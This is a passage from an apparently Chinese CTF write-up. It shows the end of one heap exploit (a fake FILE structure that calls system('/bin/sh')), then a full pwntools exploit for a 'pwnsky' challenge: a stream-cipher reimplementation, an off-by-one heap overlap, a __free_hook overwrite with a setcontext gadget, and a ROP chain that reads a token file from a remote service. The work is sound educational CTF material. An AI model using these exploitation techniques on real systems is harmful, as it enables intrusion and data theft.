    print("malloc           ",hex(malloc))
    print("io_list_all      ",hex(io_list_all))
    print("system           ",hex(system))
    print("heap",hex(heap))
    #gdb.attach(io)
    payload = b'a' * 0x40
    fake_file = b'/bin/sh\x00'+p64(0x61)#to small bin
    fake_file += p64(0)+p64(io_list_all-0x10)
    fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
    fake_file = fake_file.ljust(0xc0,b'\x00')
    fake_file += p64(0) * 3
    fake_file += p64(heap+0x1198) #vtable ptr
    fake_file += p64(0) * 2
    fake_file += p64(system)
    payload += fake_file

    md(len(payload),payload)
    #gdb.attach(io)
    io.recvuntil("away\n")
    io.sendline('1')

#    gdb.attach(io)  

#-------------------------------start

if __name__ == '__main__':
    exploit()
    finish()

pwnsky

思路

取出程序中所有花指令,花指令在加密算法和add堆块函数中,使其F5能够反编译出正确的伪代码,先逆向流密码加密,很简单,只需把加密算法还原,就是解密算法了,然后接着就是进行普通堆利用了,去掉在add函数中只要满足data[0] == "\x00"的话,那么就出现off by one漏洞,通过该漏洞去实现一个堆块合并,修改__free_hook为setcontext的gadget,实现堆栈迁移,在堆中实现orw。

lua编译工具:https://github.com/viruscamp/luadec

Exp

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
from pwn import *
from sys import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
#context(arch = 'amd64', os = 'linux', log_level='debug')
exeFile  = "./pwn"
libFile  = "./libc.so.6"
LOCAL = 0
LIBC = 1

XorTable = [
        0xbe, 0xd1, 0x90, 0x88, 0x57, 0x00, 0xe9, 0x53, 0x10, 0xbd, 0x2a, 0x34, 0x51, 0x84, 0x07, 0xc4, 
        0x33, 0xc5, 0x3b, 0x53, 0x5f, 0xa8, 0x5d, 0x4b, 0x6d, 0x22, 0x63, 0x5d, 0x3c, 0xbd, 0x47, 0x6d, 
        0x22, 0x3f, 0x38, 0x4b, 0x7a, 0x4c, 0xb8, 0xcc, 0xb8, 0x37, 0x78, 0x17, 0x73, 0x23, 0x27, 0x71, 
        0xb1, 0xc7, 0xa6, 0xd1, 0xa0, 0x48, 0x21, 0xc4, 0x1b, 0x0a, 0xad, 0xc9, 0xa5, 0xe6, 0x14, 0x18, 
        0xfc, 0x7b, 0x53, 0x59, 0x8b, 0x0d, 0x07, 0xcd, 0x07, 0xcc, 0xbc, 0xa5, 0xe0, 0x28, 0x0e, 0xf9, 
        0x31, 0xc8, 0xed, 0x78, 0xf4, 0x75, 0x60, 0x65, 0x52, 0xb4, 0xfb, 0xbf, 0xac, 0x6e, 0xea, 0x5d, 
        0xca, 0x0d, 0xb5, 0x66, 0xac, 0xba, 0x06, 0x30, 0x95, 0xf4, 0x96, 0x42, 0x7a, 0x7f, 0x58, 0x6d, 
        0x83, 0x8e, 0xf6, 0x61, 0x7c, 0x0e, 0xfd, 0x09, 0x6e, 0x42, 0x6b, 0x1e, 0xb9, 0x14, 0x22, 0xf6, 

        0x16, 0xd2, 0xd2, 0x60, 0x29, 0x23, 0x32, 0x9e, 0xb4, 0x82, 0xee, 0x58, 0x3a, 0x7d, 0x1f, 0x74, 
        0x98, 0x5d, 0x17, 0x64, 0xe4, 0x6f, 0xf5, 0xad, 0x94, 0xaa, 0x89, 0xe3, 0xbe, 0x98, 0x91, 0x38, 
        0x70, 0xec, 0x2f, 0x5e, 0x9f, 0xc9, 0xb1, 0x26, 0x3a, 0x64, 0x48, 0x13, 0xf1, 0x1a, 0xc5, 0xd5, 
        0xe5, 0x66, 0x11, 0x11, 0x3a, 0xaa, 0x79, 0x45, 0x42, 0xb4, 0x57, 0x9d, 0x3f, 0xbc, 0xa3, 0xaa, 
        0x98, 0x4e, 0x6b, 0x7a, 0x4a, 0x2f, 0x3e, 0x10, 0x7a, 0xc5, 0x33, 0x8d, 0xac, 0x0b, 0x79, 0x33, 
        0x5d, 0x09, 0xfc, 0x9d, 0x9b, 0xe5, 0x18, 0xcd, 0x1c, 0x7c, 0x8b, 0x0a, 0xa8, 0x95, 0x56, 0xcc, 
        0x4e, 0x34, 0x31, 0x33, 0xf5, 0xc1, 0xf5, 0x03, 0x0a, 0x4a, 0xb4, 0xd1, 0x90, 0xf1, 0x8f, 0x57, 
        0x20, 0x05, 0x0d, 0xa0, 0xcd, 0x82, 0xb3, 0x25, 0xd8, 0xd2, 0x20, 0xf3, 0xc5, 0x96, 0x35, 0x35, 
    ]


def Encode(keys, data):
    key_arr = []
    raw_key = []
    data_arr = []
    for c in keys:
        key_arr.append(c)
        raw_key.append(c)

    for c in data:
        data_arr.append(c)
    keys = key_arr
    data = data_arr

    for i in range(len(data)):
        n = ((keys[i & 7] + keys[(i + 1) & 7]) * keys[(i + 2) & 7] + keys[(i + 3) & 7]) & 0xff
        data[i] ^= n ^ XorTable[n]
        keys[i & 7] = (n * 2 + 3) & 0xff
        if((i & 0xf) == 0):
            keys = KeyRandom(raw_key, XorTable[i & 0xff])

    out = b''
    for c in data:
        out += c.to_bytes(1, byteorder='little')
    return out

def KeyRandom(raw_key, seed):
    out_key = []
    for c in range(8):
        out_key.append(0)

    for i in range(8):
        out_key[i] = (raw_key[i] ^ XorTable[raw_key[i]]) & 0xff;
        out_key[i] ^= (seed + i) & 0xff;
    return out_key


if(LOCAL == 0):
    if(len(argv) < 3):
        print('Usage: python2 ./exp.py [host] [port]')
        exit(-1)
    host = argv[1]
    port = int(argv[2])

def add(size, text):
    io.sendlineafter('$', 'add')
    io.sendlineafter('?', str(size))
    sleep(0.2)
    io.send(text)

def delete(idx):
    io.sendlineafter('$', 'del')
    io.sendlineafter('?', str(idx))

def get(idx):
    io.sendlineafter('$', 'get')
    io.sendlineafter('?', str(idx))

def quit():
    io.sendlineafter('$', 'exit')

def login(acc, pas):
    io.sendlineafter('$', 'login')
    io.sendlineafter(':', str(acc))
    io.sendlineafter(':', str(pas))

def code(d):
    a = 0

#--------------------------Exploit--------------------------
def exploit():
    io.sendlineafter(':', 'team_test')
    io.sendlineafter(':', 'i0gan')
    #6b8b4567327b23c6
    key = p64(0x6b8b4567327b23c6)

    login(1000, 418894113)

    add(0x320, '\n') # 0
    add(0x320, '\n') # 1

    delete(1)
    delete(0)

    add(0x320, '\n') # 0
    get(0)
    io.recvuntil('\n')
    heap = u64(io.recv(6).ljust(8, b'\x00')) - 0xa
    print('heap: ' + hex(heap))
    delete(0)

    add(0x500, '\n') # 0
    add(0x500, '\n') # 1

    delete(0)

    add(0x500, '\n') # 0
    get(0)
    io.recvuntil('\n')
    leak = u64(io.recv(6).ljust(8, b'\x00')) + 0x80 - 10
    libc_base = leak - libc.sym['__malloc_hook'] - 0x10
    print('leak: ' + hex(leak))
    print('libc_base: ' + hex(libc_base))

    free_hook = libc_base + libc.sym['__free_hook']
    setcontext = libc_base + libc.sym['setcontext'] + 61
    ret = libc_base + 0x25679

    libc_open = libc_base + libc.sym['open']
    libc_read = libc_base + libc.sym['read']
    libc_write = libc_base + libc.sym['write']
    pop_rdi = libc_base + 0x26b72
    pop_rsi = libc_base + 0x27529
    pop_rdx_r12 = libc_base + 0x000000000011c371 # pop rdx ; pop r12 ; ret
    gadget = libc_base + 0x154930 # local

    add(0x80, '\n') # 2
    add(0x20, '\n') # 3


    b = 3
    j = 20
    for i in range(b, j):
        add(0x20, 'AAA\n')

    for i in range(b + 10, j):
        delete(i)

    add(0x98, Encode(key, b'AAA') + b'\n') # 13
    add(0x500, Encode(key, b'AAA') + b'\n') # 14
    add(0xa0, 'AAA\n') # 15
    add(0xa0, 'AAA\n') # 16
    add(0xa0, 'AAA\n') # 17

    delete(13)

    delete(17)
    delete(16)
    delete(15)
    # releak heap
    add(0xa8, b'\n') # 13
    get(13)

    io.recvuntil('\n')
    heap = u64(io.recv(6).ljust(8, b'\x00')) - 0xa  + 0x200 - 0x90 # remote
    #heap = u64(io.recv(6).ljust(8, b'\x00')) - 0xa  + 0x200 # local

    delete(13)

    p = b'\x00' + b'\x11' * 0x97
    add(0x98, Encode(key, p) + b'\xc1') # 13

    delete(14)
    # 5c0
    p = b'A' * 0x500
    p += p64(0) + p64(0xb1)
    p += p64(libc_base + libc.sym['__free_hook']) + p64(0)
    add(0x5b0, Encode(key, p) + b'\n') # 14
    # releak heap
    add(0xa8, Encode(key, b"/bin/sh\x00") + b'\n') # 13
    add(0xa8, Encode(key, p64(gadget)) + b'\n') # modify __free_hook as a gadget set rdi -> rdx

    p =  p64(1) + p64(heap) # set to rdx
    p += p64(setcontext)
    p = p.ljust(0x90, b'\x11')
    p += p64(heap + 0xb0) # rsp
    p += p64(ret) # rcx

    rop  = p64(pop_rdi) + p64(heap + 0xb0 + 0x98 + 0x18)
    rop += p64(pop_rsi) + p64(0)
    rop += p64(pop_rdx_r12) + p64(0) + p64(0)
    rop += p64(libc_open)

    rop += p64(pop_rdi) + p64(3)
    rop += p64(pop_rsi) + p64(heap)
    rop += p64(pop_rdx_r12) + p64(0x80) + p64(0)
    rop += p64(libc_read)

    rop += p64(pop_rdi) + p64(1)
    rop += p64(libc_write)

    rop += p64(pop_rdi) + p64(0)
    rop += p64(libc_read)

    p += rop
    p += b'./sky_token\x00'

    add(0x800, Encode(key, p) + b'\n') # 13

    #print('heap: ' + hex(heap))

    print('get flag...')
    print('heap: ' + hex(heap))
    #gdb.attach(io)
    delete(17)


if __name__ == '__main__':
    if LOCAL:
        exe = ELF(exeFile)
        if LIBC:
            libc = ELF(libFile)
            io = exe.process()
            #io = exe.process(env = {"LD_PRELOAD" : libFile})
        else:
            io = exe.process()
    else:
        exe = ELF(exeFile)
        io = remote(host, port)
        if LIBC:
            libc = ELF(libFile)

    exploit()
    io.interactive()
0 条评论
某人
表情
可输入 255

没有评论